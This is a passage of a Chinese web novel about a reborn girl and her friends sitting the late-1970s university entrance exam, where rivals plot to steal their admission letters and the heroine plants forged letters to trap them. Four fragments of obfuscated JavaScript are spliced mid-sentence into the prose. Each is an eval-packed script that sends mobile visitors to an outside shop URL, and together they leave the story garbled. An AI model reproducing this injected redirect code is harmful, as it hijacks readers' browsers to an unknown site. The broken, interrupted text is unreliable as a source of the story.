田龙诗终于松了一口气:“我就说你肯定不会反悔的,那老师祝你们高考顺利!” 挂了电话,徐夏马不停蹄地往宁家跑,连宁富田在后面唤她也没听见。 进了宁家,只有孟珏一个人坐在堂屋里剥毛豆。 见到徐夏回来,他直挺挺地站起来,关切地问:“怎么样?谁的电话?” 原本放在他膝盖间的筲箕噗通一声反扣在了水泥地上,毛豆咕噜咕噜散落了一地。 徐夏一边蹲下身捡毛豆一边将田龙诗在电话里说的事讲了出来。 “这太棒了!”宁文和赵晓莹原本还在里屋休息,听见堂屋里的动静,也都穿上衣裳跑出来看怎么回事。 四人正趴在地上捡着毛豆呢,宁富田又上门。 一进门他就气喘吁吁指着徐夏说:“你这妮子,腿脚倒是快,就是耳朵不好使,我在后面叫你那么几声,你都没听见。” 徐夏红着脸解释:“支书大爷,我不是故意的,想着早点回来把好消息通知他们嘛。” 宁富田在长凳上坐下,先给自己倒了一盅水,喝了一口问:“年底要高考,你们总得花时间好好复习吧?” 四人见状都点点头。 “按规矩,你们只能用劳动之外的时间去复习,但总不能再像这两天似的,天天去干体力活吧?晚上哪还有精力去复习?” 徐夏一下子就明白过来,宁富田这是来敲打他们,又打算来劝他们几个上小学代课。 眼下虽然自己已经得到田龙诗的承诺,高考重在参与,但是宁文他们三个可还得靠高考上大学。 一天体力活干下来,晚上就只想蒙头睡大觉,看来上小学去代课是势在必行。 徐夏抬头看看另外三个人,没想到他们都齐刷刷看着自己,显然在等着她做决定。 徐夏:“大爷的意思是?” 宁富田也看出来,这四个人其实都隐隐以徐夏马首是瞻,做通了她的工作,就相当于说服了四个人,他便将身体朝徐夏坐正问:“我的意思是,你们明天还是上小学去代课,不上课的时候轮流在办公室复习。现在没有知青回城的政策,你们要是有本事,今年年底就都考走,总不能一辈子就待在咱们这个小渔村?” 宁富田确实很为他们四个着想,徐夏点点头,正欲答应,没想到孟珏坐不住了,反驳道:“宁大爷,咱们小渔村多好啊!吃的天然无公害,空气还新鲜。” 徐夏转过头盯着孟珏,这才来了几天,就把自己当解放大队的人了,还真是自来熟。 宁富田一副恨铁不成钢的样子骂道:“国家培养你们读了那么多年书,是让你们来种地捕鱼的,那这么多年辛辛苦苦学的知识有什么用?” 徐夏见孟珏还欲反驳,赶紧打起了圆场:“支书大爷的意思是,我们将来上了大学,学到了过硬的知识技术,再来反哺这片土地这片海,才不枉费国家对我们的培养。” 孟珏见徐夏都开口了,也乖乖闭上了嘴。 “没错,将来你们学有所成,还是很欢迎回来的嘛。这事就这样说定了,不准再反悔了!”宁富田一锤定音,绝不容许有人再反驳。 见四人都没有异议,宁富田摇着他的折扇,悠哉悠哉往院子外走去。 宁文望着他的背影,在后面小声提议道:“要不咱们晚上去海边玩儿一会儿,接下来估计是没空出去玩儿了。” “去哪儿?”没想到宁富田耳朵尖,把宁文的话听了个十成十,转过身三两步走回堂屋,上下打量起宁文,没好气地说,“你们哪儿也不准去,晚上就在家里复习,我吃完晚饭就来监督你们,非得让你们四个都考上不可。” 这下宁文是真傻眼了,宁富田这是铁了心要把他们四个都“赶”上大学啊。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368209|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 接下来的几个月,宁富田每天一吃过了晚饭,就准时到宁文家来报道,一旦发现有谁开小差,直接一个暴栗就扣在头上,四个人在这样的高压之下,不光把高中的课本翻来覆去学了几回,还把初中的知识也顺便复习了。 到十一月底,高考拉开了序幕,整个海省竟然有超过20万人报名,经过初试选拔后,最后仅有不到5万人进入了最终的考试。 这5万人中,像徐夏这样刚去做知青的应届高中毕业生仅仅只占一小部分,更多的,是那些来自生产一线的工人、一心为群众服务的赤脚医生以及老三届毕业生。 今年实习的是先报志愿,再参加考试,即使知道上辈子宁文的选择,徐夏仍然装作一无所知的样子问:“宁文,你打算报哪个学校?京大怎么样?” “京大?”宁文摇摇头,“我可不想去平京,离你和爸妈都太远了,回来一趟不方便,我准备报个医学院。” 这可和上辈子的走向不一样,宁文竟然没报京大,徐夏觉得似乎有些不对劲,难道是自己的出现改变了故事的走向? “哪个医学院?”徐夏试探着问。 “当然是和你挨得近,咱们海省的医学院!将来有个头疼脑热,不用上医院,我就能给你治了。”宁文说的是和海洋学院仅有一墙之隔的海省医学院。 上辈子宁文在京大读书时,宁海因为头晕前往医院治疗,被诊断为结肠癌,文昕怕宁文担心,就将这事一直瞒着,哪里知道县里医疗能力落后,误将正常器官切除,导致宁海病情恶化,没过多久就撒手人寰。 这辈子离得这么近,宁文又要去学医,必不能让宁海再重蹈覆辙了。 想到这里,徐夏一把抱住宁文吧唧亲了一口:“那敢情好,离得近,我们还能经常见面,回家也方便。” 报完志愿没两天,迎来了最终的考试,徐夏在考场上拿到试卷时,上面竟然有超过40%的内容都是初中的考点,这时候她也不禁感叹,幸好有宁富田监督,否则他们哪来的时间学得这么全面。 高考结束,徐夏和宁文一出考场就迫不及待找到对方把答案对了,看着几乎一模一样的答案,两人脑子里那根紧绷了数月的弦终于松了下来。 “徐夏!宁文!可算是找到你们了!”人群里突然传来一阵熟悉的声音。 徐夏抬头一看,竟然是许久未见的何秀芳。 “秀芳,这么巧,你也参加高考了吗?” 何秀芳脸唰地一下红了,摇摇头说:“我没能通过预考,今天是特地来找你们的。” 徐夏一把揽过何秀芳:“有什么事吗?咱们边走边说。” 何秀芳四处张望了一下,见周围没有人了才慢吞吞说道:“你们还记得陈丽珠吗?自从退学之后,我又慢慢同她恢复了联系,前几天晚上我在她家玩了出来,走到一半才发现把围巾落下了,我就又折返回去找她,结果走到门口,我隐约听见她和她姐在屋里商量,准备偷你俩的录取通知书!” 75.假录取通知书 “啊?”徐夏和宁文当场愣在原地,一个张大了嘴,另一个瞪大了眼。 一切都说得通了,怪不得陈丽珠和她姐要齐刷刷把名字改了,原来做的是这个打算。 “你俩小声点,”何秀芳见徐夏同宁文叫起来,怕吸引了别人的注意力,赶紧将两人拖到学校门口的偏僻处,“前几天我怕影响你俩,特意等到今天考完试才来,兹事体大,你们心里有数就好。” “秀芳,真是谢谢你,这个情我们心领了。”徐夏一把握住何秀芳的手,感激地说。 这已经是何秀芳第二次站出来帮她了,还都是这种关键时刻。 何秀芳却将手抽出来,冷笑道:“你们不用谢我,我也是心里憋着气,她陈丽珠哪里是真心同我和好,心里憋着坏呢。” 宁文:“这又是怎么一回事?” 何秀芳慢慢解释起来:“起初陈丽珠来厂里找我和好,我心里还挺内疚的,毕竟她当时退学,也有我为徐夏作证的缘故。” “为着这个,后来厂里面发福利,我都是家里留一半,给她送一半。” “她那天说完要偷你们通知书之后,还说……还说……要把我介绍给她那个瘫痪在家的堂哥,她姐说我必不会答应,谁知道她说要给我下药,到时候生米煮成熟饭,由不得我不干,大不了去革委会告我搞破鞋。”何秀芳越说脸越苍白,连声音都颤抖起来,整个人也摇摇欲坠。 徐夏同宁文俩忙一左一右将她扶住。 “我这才想明白,当初在学校,她也压根不是真心同我好,不过是拿我当枪使,”一颗眼泪从何秀芳的眼眶滑落,她抬手拭干,扯出个笑容,“我没事,大不了以后,不再同她来往就好。” 经过这一系列的事,何秀芳好像真的不再是原来那个傻姑娘了。 “秀芳,无论如何,我们还是要谢谢你。” “没事,祝你们能考上自己心仪的大学。”说完,何秀芳便骑上她那俩小巧的自行车走了。 与何秀芳分手后,徐夏同宁文也骑上车,一边往解放大队赶一边商量起来。 宁文侧坐在后凳上,右手环抱徐夏的腰,上半身斜靠在徐夏身上,摇晃着双腿嘟囔道:“你说,这事怎么办?要不咱们直接去报警?” “口说无凭,她现在只是想想,又没行动,法律不会处罚思想犯的。”徐夏嘴上说着话,脚下的动作一刻没停。 宁文气急,一下子坐直了:“难道就任由她胡作非为?” “哎哟!你慢点,”自行车因为宁文突如其来的动作而失去了平衡,车把也歪歪扭扭地乱动,徐夏使出吃奶才将车又重新稳定,“等着吧,我非得给她个教训不可。” 两人回到解放大队之后,小学也放寒假了,宁富田便索性给四人放了假。 徐夏整天把自己闷在屋里,回忆上辈子家里保险柜放着的宁文的录取通知书。 终于在一天夜里,她溜去解放小学印刷室,用那台新买的印刷机,做出了两封京大学生入学通知书,一封京大社会学系给阳县高级中的徐夏,一封京大数学系给阳县高级中学的宁文。 又上后院拔了根萝卜,拿小刀刻了个京大的章盖在上面。 当刚从省城姥爷家回来的宁文,看到床上躺着的那两封足以以假乱真的通知书时,大吃一惊。 宁文将两份通知书翻来覆去看了几遍:“你真神了,这也能做出来?连邮戳和信封都准备好了” 徐夏笑着抠脑袋说:“我这可是比照着晓莹的录取通知书1:1复刻的,就是天王老子来了,也不能说我这是假的。” 下午赵晓莹一收到京大的录取通知书,便骑着她爸的自行车跑来宁家想将喜讯通知两个好朋友。 不巧宁文不在家,徐夏将赵晓莹那封录取通知书研究了一下午,把上面的每一个标点符号都记在了自己心里。 宁文:“那接下来我们怎么办?” 徐夏眼珠子一转,压低声音说:“我打算一会儿等你爸妈都睡了,就连夜摸去向阳公社,将这两封录取通知书塞到陈丽珠家门口。” “你是打算让她姐俩拿着这两封假的通知书去京大?” 徐夏点点头:“没错!与其坐以待毙,不如先发制人,反正她们又不知道咱俩报的是什么学校,到时候去京大一报道,准被抓起来。” 宁文拍手叫好:“这个主意行,如果她俩还有点良心,就会把这通知书送回来,自然也不会被抓。” 两人一拍即合,耐着性子等文昕同宁海睡下后,连自行车也不敢骑,硬生生走去了向阳公社。 幸好事先问了何秀芳,不然她们连陈丽珠家的地址都找不到。 陈丽珠家就在向阳公社的街上,是座三间的平方。 此时已经是后半夜,徐夏观察了一阵,确认四下无人,便让宁文蹲在不远处半人高的草丛里,自己从斜跨包里取出两封通知书,蹑手蹑脚地扔到陈丽珠家门口。 等徐夏回到草丛里,宁文打了个喷嚏问:“咱们可以回家了吧,这大冬天怪冷的。” 说完,她便站了起来,整个人都暴露在夜空里。 徐夏一把将她扯下来,从系统仓库里取出事先准备灌好滚水的热水袋,塞到宁文手里:“不行,我们得确保她拿到了这两封通知书才行,不然被别人捡走了,岂不是白忙活一场。” 宁文只好老老实实地蹲下,双手拢在袖子里,将热水袋放在大腿上,整个人缩成一团,汲取那点微薄的热量。 徐夏见状,拖下自己的棉衣,罩在宁文身上:“我火气旺,你披着,别感冒了。” 两个人就这样一动不动地藏在草丛里,只露出两双眼睛紧紧盯着陈丽珠家的大门。 如果这时候有谁路过,往草丛里瞄一眼,准得吓晕过去,因为没有路灯,黑漆漆的草丛里,只能看见两对眼睛在闪闪发光。 一阵北风刮过,将地上的两份通知书卷到空中打起了旋。 徐夏一个箭步从草丛里跳出来,三步并作两步跑上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382351|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一蹦三尺高将两份通知书从半空中扯了下来,又钻到草丛里寻觅了半天,终于摸到半块砖头。 徐夏将两份通知书放回陈家门口的地上,拿砖头狠狠压住,只露出信封上京大两个字,才又拍拍手上的灰尘,重新钻回草丛里。 宁文仍然保持着蹲下的状态,只是头已经耷拉在双膝上,整个身体蜷缩成一团,眼睛半睁半闭,留出一条狭长的细缝,伴随着呼吸的起伏,眼皮偶尔还轻轻颤动一下。 徐夏凑近宁文的脑袋,只听见她的喉咙里发出了一阵阵轻柔而有节奏的呼噜声 未曾想就这么一小会儿,宁文竟然已经昏睡过去,原本肩膀上搭着的棉衣外套也滑落在地上。 徐夏赶紧把棉衣从地上拾起,窸窸窣窣将衣服上的干草和灰尘抖落,重新搭在宁文的肩膀上,自己则紧挨着她继续蹲下。 不知道过了多久,天边逐渐有了几分亮意,宁文终于醒了,揉着眼睛,睡眼朦胧的问:“还要继续等吗?” 话音未落,徐夏一把将她的嘴捂住,另一只手则指着草丛外面。 宁文顺着徐夏的指尖望去,只见陈丽珠家的大门“吱呀”一声打开了。 徐夏的一颗心瞬间提到了嗓子眼。 陈丽珠从木门里走出来,伸了个懒腰,一低头就看见了地上的两份通知书。 陈丽珠先是警惕地张望了一圈,确认四周没有别人之后,才慢慢蹲下身把砖头移开,将两份通知书攥到手里,就要进屋。 徐夏心里悬着的那颗巨石放下了,鱼儿终于上钩了。 未料陈丽梅突然从门内走了出来,她长得和陈丽珠极像,只是眉眼间多了几分成熟之感。 陈丽珠将两份通知书递给陈丽梅,陈丽梅接过来后,直接把信封拆开,将里面的通知书拿出来,两姐妹头挨着头,一边看一边说起了悄悄话。 最后陈丽梅竟将通知书拦腰撕成两半,临了,又从屋内拎出个铁桶,拿出根火柴点燃,一把火烧了个干干净净。 这下徐夏和宁文可都傻眼了。 宁文:“莫非她们看出来那通知书是假的了?” 徐夏一口否决:“不可能!我那通知书和晓莹的可是一模一样,别说她们没见过京大的录取通知书原件,就是见过,也不可能识破。” 宁文:“那就是她俩觉得冒名顶替上大学有风险,放弃了。” 徐夏:“看来也只有这个可能了,哎,一晚上白干。” “虚惊一场,我就说她俩没那么丧心病狂,”宁文打了个呵欠,“还是回家等咱俩的通知书吧!” 待陈家两姐妹将大门关上后,徐夏同宁文赶紧趁着四下无人,溜回了家。 路上两人是一刻也不敢耽搁,一路小跑着,终于赶在文昕和宁海起床前,回到了家里。 没过几天,孟珏一个电话打来队里,学校通知他去领自己的录取通知书——海洋学院食品与工程专业。 徐夏和宁文的通知书,却好像真的失踪了。 76.将计就计 电话那头的孟珏语气焦急:“徐夏,你到底报海洋学院没有?” 徐夏翻了个白眼:“废话,我还能骗你不成?你可是看着我把志愿交给许老师的。” “我不是这个意思啦,你别生气好不好,”孟珏有些委屈,却还是哄着徐夏说,“可是校门口黑板上的录取名单显示,海洋学院只有我一个人,我在传达室翻了半天,也没找到你的录取通知书,咱俩报一个学校,按理说应该是一天送到的啊。” “莫非我没被录取”这个念头刚在徐夏脑子里长出来,立刻就被她否决了。 这不可能,田龙诗说过,无论她高考成绩如何,都会被录取。 徐夏也觉得自己态度不好,歉意地说:“谢谢你啦,我先打电话问问田老师,可能这录取方式不同,收到通知书有时间差。” 说完徐夏便挂断了电话,又从小本子李找到田龙诗留下的联系方式拨了过去。 听筒里“嘟嘟”响了三声后,电话里被接了起来:“你好,海洋学院办公室。” 徐夏:“老师您好,麻烦找一下田龙诗老师。” 电话那头的老师语带惊讶:“田龙诗?真是不巧了,她出海去了,要一个月之后才能回来,有什么事吗?我可以帮你留个口信给她。” 徐夏:“是这样的老师,我想咨询一下,阳县的录取通知书都寄出来了吗?” “阳县?你是徐夏?”电话那头的老师突然笑起来,“早寄出来了,当时我还感叹,你们一个高中就考上了两个,说起来两份录取通知书还是我亲手装进信封的,按时间算,现在应该收到了。” 徐夏心咯噔跳了一下,都寄出来了? 电话那头见这边久没有动静,催促道:“徐夏,你是有什么问题吗?” 徐夏回过神说:“好的老师,没事了,谢谢你。” 挂完电话,徐夏眉头紧蹙,想不通到底是哪里出了问题。 一旁站着的宁文冷不丁冒出一句:“难道还是被陈丽珠冒领了?” 毕竟前几天两人一阵忙活,陈丽珠两姐妹都上当。 “不可能,这通知书都是通过邮政直接寄到学校的,她就是冒领,传达室也会有领取记录,而且学校门口的录取名单上压根没有我,倒像没压根寄到,但是海洋学院的老师说是他亲手寄出来的。” 宁文:“这就奇怪了,要不咱们亲自去学校找找,万一是孟珏他眼瞎,没看到你的通知书呢。” 死马当活马医,两人便马不停蹄往学校赶。 刚被隔空骂“眼瞎”的孟珏正巧打了个喷嚏,把饭桌上的孟子云和孟奶奶吓了一跳。 孟子云啪地一声放下筷子,恨铁不成钢地说:“你爸可还一心在平京等着你去团聚呢,你倒好,一声不吭就瞒着我们换了学校。” “算了,木已成舟,由他去吧。”孟奶奶取下老花眼镜,将手里的录取通知书放在饭桌上,在母子二人间打圆场。 孟珏因为擅自更改志愿的事东窗事发,一直在孟子云面前做小伏低,现在听到孟奶奶隐隐有给他撑腰的意思,一改刚才的低声下气,梗着脖子说:“去平京干嘛?天远地远的,多久才能回来一次?我爸在部队里,一年才放一次假,我去了也见不到他。” 孟子云冷笑一声:“你别后悔,到时候人家徐夏去了平京读书,我看你怎么办。” “那倒不会,”孟珏得意洋洋笑起来,“徐夏可是亲口和我说,她报的是海洋学院。” 孟子云同孟奶奶对视一眼,噗嗤一声笑出来:“我说你怎么突然换了志愿,原来是打的这个主意,也罢,儿大不由娘,随你去吧。” 被戳中心事的孟珏脸直接红成了个猴屁股。 孟子云胳膊靠着饭桌,十指交叉:“不过我得提醒你一句,光你单相思也不行,得看人家愿不愿意,别弄成‘落花有意,流水无情’,那你就成骚扰了。” 孟珏点点头:“知道了,这点分寸我还是有的。” 要不是孟子云今天提醒,孟珏还真没想过,万一徐夏真的不喜欢自己怎么办? 想到这里,孟珏求助似地看向孟奶奶。 孟奶奶双手一摊:“你别看我,我可帮不了你,反正你这事成不成,徐夏都是我干孙女。” 孟子云也摆手附和道:“这事儿只能你自己努力,我们都没用。” 话分两头,徐夏同宁文赶到阳高后,先在学校门口的大黑板上从头到尾从头至尾看了三遍,都没找到自己的名字,又跑去传达室问门卫借来领取通知书的名册,一条一条仔仔细细查找,也没有两人的名字。 宁文提议道:“要不我们打去医学院问问?看他们寄来通知书没有?” 两人同门卫好说歹说,门卫才同意放她们进学校。 两人从阳高的办公室借来记录了各个高校联系方式的小册子,找到医学院的电话拨了过去。 医学院的回答和海洋学院一模一样,通知书早就寄出来了,有宁文的。 这下两人都傻了,一封录取通知书消失还可以说是巧合,两封同时失踪,那只有一种可能。 “邮局出了问题!”徐夏立刻得出结论。 “哎,你俩咋在这儿呢?”一个突如其来的声音打断了两人的对话。 徐夏赶紧闭上嘴,回头一看,原来是许老师。 “我刚才路过校门口,没在录取名单上看到你们,不过你们别灰心,今年全国可有近600万人报考,竞争大,考上的都是凤毛麟角,明年再报名也是一样的,”许老师走进办公室,安慰起两人,“对了,你们还记得刘大志吧,他是我表外甥,之前他争对你们的事,我又教育他了,他也承认错误了,还关心你们报了哪里的学校。” 这么说刘大志知道她们的志愿? 徐夏试探地问:“许老师,刘大志他后来去哪里工作了呢?” “我表姐夫不是从邮局退下来了嘛,他就顶上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399782|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,虽然没能上大学,但也是个铁饭碗,”许老师笑着回答,“喏,今年的录取通知书有好多就是他送来的。” 又是邮局!徐夏心中隐隐约约有了一个答案,这就解释的清了,为什么陈丽珠两姐妹,会直接把那两封录取通知书撕毁掉。 为免打草惊蛇,两人什么内情也没告诉许老师,就出了阳高。 宁文:“到底怎么回事,我都被绕晕了,你突然问刘大志在哪里工作干嘛?” 徐夏慢慢解释起来:“你忘了之前我们听墙根的事了?刘大志和陈丽珠关系极好,我猜,他从许老师这里打听到了我们的志愿,再告诉了陈丽珠,所以她姐俩拿到那两封京大的录取通知书没上当。” “你是说刘大志利用他在邮局工作的便利,直接把我俩的录取通知书截取了,不通过学校,直接送到了陈丽珠手里?”宁文恍然大悟。 徐夏点点头:“没错,估计现在,她姐俩已经拿着两封通知书,准备去学校报道了。” “那还等什么,快上车,”宁文一边扯着徐夏往停自行车的地方走,一边催促道,“我们赶快去公安局报警!” “别急!”徐夏将胳膊从宁文手里抽出来,“你可别忘了,陈丽珠和她姐可是把名字都改成和我们一模一样了。现在报警,大可以推说是邮局搞错了,把通知书送到了同名同姓的她姐俩手里,如今她们发现了正打算给我们送回来。就是负责送信的刘大志,也可以扯谎,说是看了信封上的名字,以为是老同学,就直接送去了她们家里。到时候不光陈家两姐妹脱身了,就是刘大志,也最多就落个失职的处分。” 宁文有些着急:“那咱们眼睁睁看着他们去学校报道吗?” “且让他们得意一会儿,”徐夏嘴角向上勾起,“假的成不了真,海洋学院的田老师,可是见过我的,等她见到陈丽珠,自然就穿帮了,她再一报警,可不就闹大了,到时候顺藤摸瓜一排查,这三个人都得去蹲监狱。” “鬼机灵,原来你在这憋着坏呢,这次非得给她们一个大教训不可!”宁文恨恨地说道。 “不过先得说好,为免节外生枝,等我们回了家,可得装作没被录取。”徐夏叮嘱道。 宁文拍着胸口发誓:“那是当然,我的演技准保没人看得出!” 两人说到做到,离解放大队还有二里地就演了起来。 在村口伸长脖子等两人好消息的宁富田见到的就是这样一副光景: 徐夏失魂落魄骑着车,宁文垂头丧气坐在后头,一个不注意,两人就翻进了村口的臭水沟里。 这下宁富田还有什么不明白,连忙将二人从水里扶起,草草安慰了几句,便将两人送回了家。 早有耳报神将这件事告诉了文昕两夫妻,这下徐夏两人不光将不相干的人都骗了,就连文昕和宁海都以为,两人真落榜了,见二人心情不好,也就没多问。 倒是孟珏坐不住了,见天儿的就往解放大队跑。 77.戳破窗户纸 一开始徐夏还以通知书没到为理由搪塞他,结果临近海洋学院开学的最后期限,徐夏仍没拿到录取通知书,孟珏就是个傻子也觉出不对劲了。 一大早徐夏正坐在长凳上往嘴里塞馒头,孟珏就急匆匆闯了进来,火急火燎地问:“怎么今天还没收到你的录取通知书?” “我……不……知道……”徐夏含着馒头说话,字字句句都像被棉花包裹着。 孟珏哪里听得清楚,他一把扯下徐夏抓着馒头的手说:“都什么时候,你就知道吃吃吃!” 未料徐夏手里的半个馒头因为孟珏这突如其来的动作咚的一声掉在了地上,又咕噜咕噜滚到了长桌中间。 “这好好的粮食都被你糟蹋了。”徐夏一边抱怨,一边弯下腰去够掉落在地上的馒头,却被两个桌腿间的直枨卡住了。 孟珏闭上眼深吸了一口气,整个人都贴到地板上,伸长了手,将馒头捡了出来,又将上面沾染的灰尘啪啪拍掉,用手小心翼翼将被污染的外皮剥光,才递给了徐夏:“是我不对,喏。” “这还差不多。”徐夏接过小了一圈的馒头,满意地点了点头。 一旁坐着的宁文,凑到徐夏耳根前低声说:“我先出去喂鸡了,你惹下的祸事自己搞定。”说罢,从徐夏手里抢过那半个馒头,头也不回地走了出去。 这下堂屋里只剩下徐夏和孟珏两个人。 孟珏一边拍打身上的灰尘一边问:“到底发生什么了?” 徐夏并不打算告诉孟珏实情,低头看着桌面吞吞吐吐地说:“可能……可能我今年没考上呗。” 孟珏:“这不可能,我可是和你们对过答案的,除了作文,出入还不到5%。再说你没收到录取通知书就算了,怎么宁文也没收到?” 徐夏双手一摊,耍起了无赖:“那不然你说是怎么回事?” 孟珏冷笑一声,大喇喇在长凳上坐下:“行,你不说实话也没关系,那我今年也不去学校报道了,明年陪你们一起重考。” 徐夏被气了个倒仰,这话如果要让孟奶奶和孟子云知道了,非得和自己断绝关系不可:“你捣什么乱啊,这读大学的机会多难得,别人想去都去不了,万一明年政策又变了怎么办?” “那你就把实话告诉我呗。”孟珏威胁道。 徐夏无奈,一把揪住孟珏的耳朵把他拉到跟前,慢慢将自己的计划全盘托出。 孟珏越听眼睛瞪得越大,直到徐夏把事情都讲完了,他还张大个嘴一言不发。 徐夏看着他这副样子,松开手,讪讪地问:“你是不是觉得我不该这样做?” 孟珏回过神,揉着自己发红的耳朵说:“当然不是,我是吃惊他们竟然敢铤而走险干这种坏事。” 不等徐夏回答,孟珏又拍着桌子吼道:“他们想要偷窃别人的人生,当然该受到惩罚!” 徐夏一把捂住他的嘴:“你小声点,一会儿被其他人听到了怎么办?” 见孟珏眨着眼睛猛点头,徐夏才慢慢将手松开。 孟珏站起来三两步走到堂屋门口,四处望了望,高声唤道:“宁文?宁文?” 谁知半天都没听到一点回应,四周一片寂静,只有孟珏的声音在空气中回荡,看来宁文喂完鸡又不知道上哪儿玩去了。 确认房子周围没有其他人,孟珏才又重新坐回长凳上,清了清嗓子说:“徐夏,我有个问题想问你。” 徐夏:“你说。” 孟珏:“你讨厌我吗?” 徐夏摇摇头:“你虽然偶尔说话讨厌了点,做事也急躁了点……” 徐夏每说一个孟珏的缺点,握成拳的右手就伸出一根手指,最后竟然五指都打开了。 越说孟珏越紧张,见徐夏还要接着用另一只手,忙伸出手将她左手一把握住,催促道:“我知道自己有很多做得不好的地方,你就说讨不讨厌我吧。” 徐夏:“当然不了!” 一听这话,孟珏悬着的心终于放了下来,心里也乐开了花。 哪料徐夏继续说道:“你可是我干弟弟!” 这下孟珏彻底笑不出了:“咱能不提这个吗?” 徐夏促狭地笑道:“我不就开个玩笑嘛,以后再也不说了。” 孟珏把心一横,低下头,结结巴巴地问出了他最想知道的那个问题:“那……那你……喜欢……我吗?” 徐夏没听清楚,疑惑地问:“什么你?” 孟珏头埋得更低了,耳朵也愈发红了起来:“喜欢我。” 徐夏:“……” 认识孟珏近两年,徐夏都只把他当做关系要好的朋友,从来没往别的路上想,突然要把他当成一个异性看待,实在有些难为她。 喜欢吗?好像还没到。 不喜欢吗?那倒也不至于。 “嗯?”孟珏见徐夏一直沉默,忍不住出声,“没关系,你说实话就好。” 徐夏见孟珏还一动不动地盯着自己,脸唰的红了,含糊不清地说:“我……不知道。” 孟珏却松了一口气:“没关系,你知道我喜欢你就行,总有一天你会明白的。” 说完,孟珏哼着歌就走了出去。 徐夏只觉得空气都凝固了,看着渐渐消失在眼前的少年,陷入了沉思中。 上辈子也不是没人对徐夏示好过,可当时自己全身心都扑在研究上,没有多余的时间和精力分给小情小爱,时间久了,那人也渐渐放弃了,最后竟还误传出“徐夏不喜欢异性”的话。 徐夏也乐得清闲,也就犹着这谣言发酵,直到生命的最后一刻,她也没遇到除研究之外更喜欢的东西。 不,严格说来也有,她最喜欢吃实验船上大厨做的饭,可惜还没来得及与他相识就送了命,只听同事偶然提起过,这大厨是个半路出家的。 至于喜欢的人,她才真的是十窍通了九窍——一窍不通。 想到这里,徐夏只觉得心乱如麻,不知道以后该怎么面对孟珏才好。 “好小子,这孟珏不声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419296|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不响的,竟然敢直接同你表白。”宁文不知道从哪里冒了出来,打趣道。 徐夏回过神,呸了宁文一口:“你刚才去哪里野了,不会一直在屋外偷听我们说话吧。” “冤枉啊,我喂完鸡就回灶屋了,渴死我了,”宁文举起满脸委屈,举起桌上的搪瓷盅就咕噜咕噜喝了起来,“怕打扰你们,一声都不敢吭,谁知道风儿把你们的肉麻话送到了我耳朵里。” “哪里来的肉麻话?你瞧我不撕烂你的嘴!”徐夏被逗笑了,从长凳上站起来,就要上手去打宁文。 宁文灵巧地一个闪身躲过,下一秒就麻溜地冲进了院子里。 徐夏紧随其后追着宁文跑出了宁家院子。 两人正巧从回家的宁海和文昕面前跑过,宁海想出声把她们叫回来,却被文昕拉住了。 文昕叹了口气:“由着她们去吧,这难过了好几天呢,难得今天这么高兴。” 接下来的日子,宁家父母和李萍都默契地没在徐夏同宁文面前提起上大学的事,连她俩偶尔说不出自己的行踪,也难得没生气。 宁富田更是想得开,考不上大学也没事,大不了将来有机会转正,也在小学当个正式老师嘛。 赵晓莹隐约从徐宁二人的只言片语中猜到了些内情,让二人及时和她汇报内情,就坐上火车出发了。平京路远,要睡好几天的绿皮火车才能到。 孟珏也没再上解放大队来,老老实实收拾好行李去海洋学院报道了。 阳县离江海市不算太远,车程大概就三个小时,孟子云原本打算出钱从汽车班借辆小货车,载上孟奶奶一起送孟珏去海洋学院。 孟珏可是他们纺织厂家属区这十来年出的第一个大学生,依着厂长的原话,合该敲锣打鼓送去读大学。 孟珏哪里受得了这个,在家里好说歹说,最后孟子云竟然真的同意他独自搭车,扛着行李一路颠簸着去了海洋学院。 公交车上密不透风,还有好几个人在上面吞云吐雾,幸亏临行前孟子云给他塞了几个橘子,孟珏靠闻橘皮才挺过了这难捱的三个多小时。 车停稳后,孟珏火速从头顶把行李取下来,一马当先挤下了车,哪知双脚一踏上江海市的土地,他就扶着栏杆开始呕吐,一直吐到车上的人都走光了才作罢。 从客运中心出来,孟珏又顶着刺骨的寒风步行了一公里,才终于到了海洋学院。 